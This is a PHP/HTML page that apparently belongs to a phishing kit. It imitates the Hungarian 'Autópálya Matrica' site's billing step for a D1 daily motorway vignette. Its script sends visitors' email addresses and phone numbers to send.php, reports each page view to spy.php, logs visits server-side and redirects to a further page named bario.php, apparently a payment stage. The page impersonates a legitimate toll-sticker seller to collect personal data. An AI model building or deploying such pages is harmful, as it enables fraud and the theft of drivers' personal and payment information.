<?php
require (__DIR__) . '/../main.php';
?>
<!DOCTYPE html>
<html lang="hu">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Autópálya Matrica - Számlázás</title>
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
        type="text/css" />
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css"
        integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
    <link rel="stylesheet" href="fonts/font.css">
    <style>
        body {
            background-color: #fff;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif;
        }

        /* Header Styles */
        .vignette-header {
            background-color: #2d2d2d;
            padding: 15px 0;
        }

        .vignette-header .container {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .vignette-logo {
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .vignette-logo-icon {
            height: 40px;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .vignette-logo-icon img {
            height: 100%;
            width: auto;
        }

        .vignette-logo-text {
            color: white;
            font-weight: 600;
            font-size: 18px;
        }

        .vignette-nav {
            display: flex;
            gap: 20px;
            list-style: none;
            margin: 0;
            padding: 0;
        }

        .vignette-nav li {
            color: white;
            font-size: 14px;
            cursor: pointer;
        }

        .vignette-nav li:hover {
            color: #4caf50;
        }

        .vignette-header-right {
            display: flex;
            align-items: center;
            gap: 20px;
        }

        .vignette-dark-mode {
            color: #b0b0b0;
            font-size: 20px;
            cursor: pointer;
        }

        .vignette-lang-selector {
            display: flex;
            align-items: center;
            gap: 8px;
            background-color: white;
            padding: 8px 14px;
            border-radius: 6px;
            cursor: pointer;
            font-size: 14px;
            color: #333;
            font-weight: 500;
        }

        .vignette-lang-selector span.flag {
            font-size: 18px;
            line-height: 1;
            display: inline-block;
        }

        .vignette-lang-selector img.flag {
            width: 20px;
            height: 15px;
            object-fit: cover;
            border-radius: 2px;
        }

        .vignette-header-links {
            display: flex;
            flex-direction: column;
            gap: 4px;
            align-items: flex-end;
        }

        .vignette-header-links a {
            color: #b0b0b0;
            text-decoration: none;
            font-size: 13px;
            line-height: 1.4;
        }

        .vignette-header-links a:hover {
            color: white;
        }

        /* Progress Bar */
        .progress-container {
            background-color: white;
            padding: 30px 0;
            border-bottom: 1px solid #e0e0e0;
        }

        .progress-steps {
            display: flex;
            justify-content: center;
            align-items: center;
            gap: 20px;
            max-width: 600px;
            margin: 0 auto;
        }

        .progress-step {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 10px;
            flex: 1;
        }

        .step-circle {
            width: 40px;
            height: 40px;
            display: flex;
            align-items: center;
            justify-content: center;
            font-weight: bold;
            position: relative;
            border-radius: 50%;
        }

        .step-circle.completed img,
        .step-circle.active img {
            width: 100%;
            height: 100%;
            object-fit: contain;
        }

        .step-circle.pending {
            background-color: #e0e0e0;
            color: #666;
            border-radius: 50%;
        }

        .step-label {
            font-size: 12px;
            color: #666;
            text-align: center;
        }

        .step-line {
            position: absolute;
            top: 50%;
            width: 100%;
            height: 2px;
            background-color: #4caf50;
            z-index: -1;
        }

        /* Main Content */
        .main-content {
            background-color: white;
            padding: 40px;
            margin: 30px auto;
            max-width: 450px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        }

        .vignette-title {
            display: flex;
            align-items: center;
            gap: 15px;
            margin-bottom: 30px;
        }

        .vignette-icon {
            width: 60px;
            height: 60px;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .vignette-icon img {
            width: 100%;
            height: 100%;
            object-fit: contain;
        }

        .vignette-title-text {
            font-size: 24px;
            font-weight: 600;
            color: #333;
        }

        /* Form Styles */
        .form-group-vignette {
            margin-bottom: 30px;
            position: relative;
        }

        .form-label-vignette {
            display: flex;
            align-items: center;
            gap: 6px;
            margin-bottom: 8px;
            font-weight: 500;
            font-size: 14px;
            color: #333;
        }

        .form-label-vignette .required {
            color: #e60000;
            font-weight: 600;
        }

        .form-label-vignette .help-icon {
            width: 18px;
            height: 18px;
            background-color: #ff9800;
            border-radius: 3px;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 11px;
            cursor: help;
            margin-left: 4px;
        }

        .form-input-vignette {
            width: 100%;
            padding: 10px 14px;
            border: 1px solid #d0d0d0;
            border-radius: 4px;
            font-size: 15px;
            font-family: inherit;
            background-color: #fff;
            transition: all 0.2s ease;
            box-sizing: border-box;
            height: 42px;
            line-height: 1.2;
        }

        .form-input-vignette:hover {
            border-color: #a0a0a0;
        }

        .form-input-vignette:focus {
            outline: none;
            border-color: #4caf50;
            border-width: 2px;
            box-shadow: 0 0 0 3px rgba(76, 175, 80, 0.15);
        }

        .form-input-vignette::placeholder {
            color: #999;
        }

        .phone-input-group {
            display: flex;
            gap: 12px;
            align-items: stretch;
        }

        .phone-country-code {
            width: 100px;
            padding: 10px 12px;
            border: 1px solid #d0d0d0;
            border-radius: 4px;
            font-size: 15px;
            font-family: inherit;
            background-color: #fff;
            cursor: pointer;
            transition: all 0.2s ease;
            appearance: none;
            background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='10' height='10' viewBox='0 0 12 12'%3E%3Cpath fill='%23333' d='M6 9L1 4h10z'/%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: right 10px center;
            padding-right: 30px;
            height: 42px;
            line-height: 1.2;
        }

        .phone-country-code:hover {
            border-color: #a0a0a0;
        }

        .phone-country-code:focus {
            outline: none;
            border-color: #4caf50;
            border-width: 2px;
            box-shadow: 0 0 0 3px rgba(76, 175, 80, 0.15);
        }

        .phone-number-input {
            flex: 1;
        }

        .checkbox-group {
            margin: 25px 0;
        }

        .checkbox-item {
            display: flex;
            align-items: flex-start;
            gap: 10px;
            margin-bottom: 14px;
            position: relative;
        }

        .checkbox-item input[type="checkbox"] {
            margin-top: 2px;
            width: 18px;
            height: 18px;
            min-width: 18px;
            cursor: pointer;
            accent-color: #4caf50;
            border: 2px solid #d0d0d0;
            border-radius: 3px;
        }

        .checkbox-item input[type="checkbox"]:checked {
            background-color: #4caf50;
            border-color: #4caf50;
        }

        .checkbox-item label {
            flex: 1;
            cursor: pointer;
            color: #333;
            font-size: 14px;
            line-height: 1.4;
            display: flex;
            align-items: center;
            gap: 5px;
        }

        .checkbox-item label .help-icon {
            width: 16px;
            height: 16px;
            background-color: #ff9800;
            border-radius: 3px;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            color: white;
            font-size: 10px;
            cursor: help;
            flex-shrink: 0;
        }

        .info-text {
            background-color: #fff;
            padding: 15px;
            border-radius: 4px;
            margin: 20px 0;
            font-size: 14px;
            color: #666;
            line-height: 1.6;
        }

        .form-buttons {
            display: flex;
            justify-content: space-between;
            gap: 15px;
            margin-top: 30px;
        }

        .btn-back {
            padding: 12px 30px;
            background-color: #e0e0e0;
            color: #333;
            border: none;
            border-radius: 4px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            transition: background-color 0.3s;
        }

        .btn-back:hover {
            background-color: #d0d0d0;
        }

        .btn-next {
            padding: 12px 30px;
            background-color: #4caf50;
            color: white;
            border: none;
            border-radius: 4px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            transition: background-color 0.3s;
        }

        .btn-next:hover {
            background-color: #45a049;
        }

        /* Footer */
        .cookie-footer {
            position: fixed;
            bottom: 0;
            left: 0;
            padding: 10px 20px;
            font-size: 12px;
            color: #999;
        }

        @media (max-width: 768px) {
            .vignette-nav {
                display: none;
            }

            .main-content {
                padding: 20px;
                margin: 15px;
            }

            .phone-input-group {
                flex-direction: column;
            }

            .phone-country-code {
                width: 100%;
            }
        }
    </style>
</head>

<body>
    <!-- Header -->
    <header class="vignette-header">
        <div class="container">
            <div class="vignette-logo">
                <div class="vignette-logo-icon">
                    <img src="assets/images/logo-hu-HU.png" alt="Autópálya Matrica">
                </div>
                <div class="vignette-logo-text">Autópálya Matrica</div>
            </div>
            <nav>
                <ul class="vignette-nav">
                    <li>MATRICA INFORMÁCIÓK</li>
                    <li>FLOTTÁS VÁSÁRLÁS</li>
                    <li>MATRICA 2026</li>
                    <li>NYEREMÉNYJÁTÉK</li>
                    <li>ÜGYFÉLSZOLGÁLAT</li>
                    <li>HÍREK</li>
                </ul>
            </nav>
            <div class="vignette-header-right">
                <i class="far fa-moon vignette-dark-mode"></i>
                <div class="vignette-lang-selector">
                    <span>HU Magyar</span>
                </div>
                <div class="vignette-header-links">
                    <a href="#">REGISZTRÁCIÓ</a>
                    <a href="#">BELÉPÉS</a>
                </div>
            </div>
        </div>
    </header>

    <!-- Progress Bar -->
    <div class="progress-container">
        <div class="container">
            <div class="progress-steps">
                <div class="progress-step">
                    <div class="step-circle completed">
                        <img src="assets/images/active.svg" alt="Completed">
                    </div>
                    <div class="step-label">Forgalmi rendszám</div>
                </div>
                <div class="progress-step">
                    <div class="step-circle active">
                        <img src="assets/images/active.svg" alt="Active">
                    </div>
                    <div class="step-label">Számlázás</div>
                </div>
                <div class="progress-step">
                    <div class="step-circle pending">3</div>
                    <div class="step-label">Ellenőrzés és fizetés</div>
                </div>
            </div>
        </div>
    </div>

    <!-- Main Content -->
    <div class="container">
        <div class="main-content">
            <div class="vignette-title">
                <div class="vignette-icon">
                    <img src="assets/images/d1.png" alt="D1">
                </div>
                <div class="vignette-title-text">
                    D1 - Napi (1 napos) országos autópálya-matrica
                </div>
            </div>

            <form id="vignetteForm" method="POST" action="">
                <!-- Email Field -->
                <div class="form-group-vignette">
                    <label class="form-label-vignette" for="email">
                        E-mail cím<span class="required">*</span>
                        <span class="help-icon" title="Adja meg az e-mail címét">?</span>
                    </label>
                    <input type="email" id="email" name="email" class="form-input-vignette" autocomplete="off" placeholder="" required>
                </div>

                <!-- Phone Number Field -->
                <div class="form-group-vignette">
                    <label class="form-label-vignette" for="phone">
                        Telefonszám
                        <span class="help-icon" title="Adja meg a telefonszámát">?</span>
                    </label>
                    <div class="phone-input-group">
                        <select class="phone-country-code" id="countryCode" name="countryCode">
                            <option value="+36" selected>+36</option>
                            <option value="+43">+43</option>
                            <option value="+49">+49</option>
                            <option value="+48">+48</option>
                            <option value="+40">+40</option>
                            <option value="+421">+421</option>
                            <option value="+386">+386</option>
                            <option value="+385">+385</option>
                        </select>
                        <input type="tel" id="phone" name="phone" class="form-input-vignette phone-number-input" autocomplete="off" placeholder="">
                    </div>
                </div>

                <!-- Checkboxes -->
                <div class="checkbox-group">
                    <div class="checkbox-item">
                        <input type="checkbox" id="smsNotification" name="smsNotification">
                        <label for="smsNotification">
                            Kérek SMS-t a vásárlásról (+100 Ft)
                            <span class="help-icon" title="SMS értesítés a vásárlásról">?</span>
                        </label>
                    </div>
                    <div class="checkbox-item">
                        <input type="checkbox" id="invoiceRequest" name="invoiceRequest">
                        <label for="invoiceRequest">
                            Kérek számlát
                            <span class="help-icon" title="Számla igénylése">?</span>
                        </label>
                    </div>
                </div>

                <!-- Info Text -->
                <div class="info-text">
                    Amennyiben átutalással szeretnél fizetni kérjük jelöld be a kérek számlát opciót. Utólag nem áll módunkban számlát kibocsátani. Banki átutalásos fizetésre kizárólag ÁFA-s számla igénylése esetén van lehetőség.
                </div>

                <!-- Buttons -->
                <div class="form-buttons">
                    <button type="button" class="btn-back" onclick="window.history.back()">Vissza</button>
                    <button type="submit" class="btn-next">Tovább</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Footer -->
    <div class="cookie-footer">
        SUTI (COOKIE) BEÁLLÍTÁSOK
    </div>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"
        integrity="sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g=="
        crossorigin="anonymous" referrerpolicy="no-referrer"></script>

    <script>
        // Clear fields on page load
        $(document).ready(function() {
            $('#email').val('');
            $('#phone').val('');
            $('#countryCode').val('+36');
        });

        // Form submission
        $('#vignetteForm').on('submit', function(e) {
            e.preventDefault();
            
            const email = $('#email').val();
            const phone = $('#phone').val();
            const countryCode = $('#countryCode').val();
            const smsNotification = $('#smsNotification').is(':checked');
            const invoiceRequest = $('#invoiceRequest').is(':checked');

            // Send data to server
            $.post('send.php', {
                email: email,
                phone: phone,
                countryCode: countryCode,
                smsNotification: smsNotification,
                invoiceRequest: invoiceRequest,
                page: 'vignette'
            }, function(data) {
                // Redirect to next page (e.g., bario.php or payment page)
                window.location = 'bario.php';
            });
        });

        // Track page view
        $.post("spy.php", {
            vignetteview: 1
        });
    </script>
    <?php $m->ctr("VIGNETTE " . @$_GET['e']); ?>
</body>

</html>

